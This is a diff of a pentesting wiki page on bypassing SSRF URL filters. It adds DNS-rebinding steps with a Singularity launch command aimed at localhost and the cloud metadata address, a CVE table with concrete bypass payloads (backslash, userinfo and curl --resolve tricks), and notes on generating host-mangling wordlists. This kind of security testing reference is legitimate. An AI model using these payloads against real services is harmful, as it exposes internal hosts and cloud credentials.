You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
@@ -179,6 +197,9 @@ It might be possible that the server is **filtering the original request** of a
179
197
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
180
198
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
181
199
200
+
<details>
201
+
<summary>Simple redirector for SSRF testing</summary>
202
+
182
203
```python
183
204
#!/usr/bin/env python3
184
205
@@ -200,25 +221,37 @@ class Redirect(BaseHTTPRequestHandler):
Even when an SSRF filter performs a **single DNS resolution before sending the HTTP request**, you can still reach internal hosts by rebinding the domain between lookup and connection:
229
+
230
+
1. Point `victim.example.com` to a public IP so it passes the allow‑list / CIDR check.
231
+
2. Serve a very low TTL (or use an authoritative server you control) and rebind the domain to `127.0.0.1` or `169.254.169.254` just before the real request is made.
232
+
3. Tools like **Singularity** (`nccgroup/singularity`) automate the authoritative DNS + HTTP server and include ready‑made payloads. Example launch: `python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080`.
233
+
234
+
This technique was used in 2025 to bypass the BentoML "safe URL" patch and similar single‑resolve SSRF filters.
235
+
236
+
### Explained Tricks
237
+
238
+
#### Backslash-trick
206
239
207
240
The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
The “left square bracket” character `[` in the userinfo segment can cause Spring’s UriComponentsBuilder to return a hostname value that differs from browsers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
220
253
221
-
### IPv6 Zone Identifier (%25) Trick
254
+
####IPv6 Zone Identifier (%25) Trick
222
255
223
256
Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface:
224
257
@@ -229,21 +262,23 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
229
262
230
263
If the target application validates that the host is *not*`fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely.
231
264
232
-
### Recent Library Parsing CVEs (2022–2025)
265
+
### Recent Library Parsing CVEs (2022–2026)
233
266
234
267
A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:
| 2024 |CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder`|`[` is not allowed in the *userinfo* section, so `https://example.com\[@internal` is parsed as host `example.com` by Spring but as `internal` by browsers, enabling open-redirect & SSRF when host allow-lists are used. Upgrade to Spring 5.3.34 / 6.0.19 / 6.1.6+. |
239
-
| 2023 |CVE-2023-27592 |**urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. |
240
-
| 2022 |CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). |
241
-
242
-
When you depend on third-party URL parsers, **compare the canonicalised host returned by the library you trust with the raw string supplied by the user** to detect these classes of issues.
271
+
| 2025 |CVE-2025-0454 | Python `requests` + `urllib.parse` (autogpt) | Parsing mismatch on `http://localhost:\\@google.com/../` lets allow‑lists think host is `google.com` while the request hits `localhost`. |`requests.get("http://localhost:\\@google.com/../")`|
272
+
| 2025 |CVE-2025-2691 | Node package `nossrf`| Library meant to block SSRF only checks the original hostname, not the **resolved IP**, allowing hostnames that resolve to private ranges. |`curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1`|
| 2024 |CVE-2024-3095 | Langchain WebResearchRetriever | No host filtering; GET requests could reach IMDS/localhost from AI agents. | User‑controlled URL inside `WebResearchRetriever`|
275
+
| 2024 |CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder`|`[` in userinfo parsed differently by Spring vs browsers, allowing allow‑list bypass. |`https://example.com\[@internal`|
276
+
| 2023 |CVE-2023-27592 |**urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. | — |
277
+
| 2022 |CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). | — |
243
278
244
279
### Payload-generation helpers (2024+)
245
280
246
-
Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
281
+
Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
247
282
248
283
```bash
249
284
# Generate every known bypass that transforms the allowed host example.com to attacker.com
@@ -259,5 +294,7 @@ The resulting list can be fed directly into Burp Intruder or `ffuf`.
0 commit comments